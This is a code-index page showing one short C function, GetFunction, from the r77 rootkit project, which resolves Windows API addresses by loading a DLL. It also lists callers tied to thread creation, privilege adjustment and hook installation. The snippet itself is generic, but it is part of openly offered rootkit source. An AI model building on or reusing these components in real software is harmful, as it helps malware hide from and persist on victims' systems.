MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / GetFunction

Function GetFunction

r77api/r77win.c:175–188  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

173 return result;
174}
175LPVOID GetFunction(LPCSTR dll, LPCSTR function)
176{
177 HMODULE module = GetModuleHandleA(dll);
178
179 if (!module)
180 {
181 if (IsAtLeastWindows10()) // LoadLibraryA here crashes apps on Windows 7, such as explorer.exe
182 {
183 module = LoadLibraryA(dll);
184 }
185 }
186
187 return module ? (LPVOID)GetProcAddress(module, function) : NULL;
188}
189BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel)
190{
191 BOOL result = FALSE;

Callers 8

R77_NtQueryObjectFunction · 0.85
R77_NtCreateThreadExFunction · 0.85
R77_NtUnmapViewOfSectionFunction · 0.85
R77_RtlGetVersionFunction · 0.85
R77_RtlAdjustPrivilegeFunction · 0.85
R77_PdhGetCounterInfoWFunction · 0.85
InstallHookFunction · 0.85

Calls 1

IsAtLeastWindows10Function · 0.85

Tested by

no test coverage detected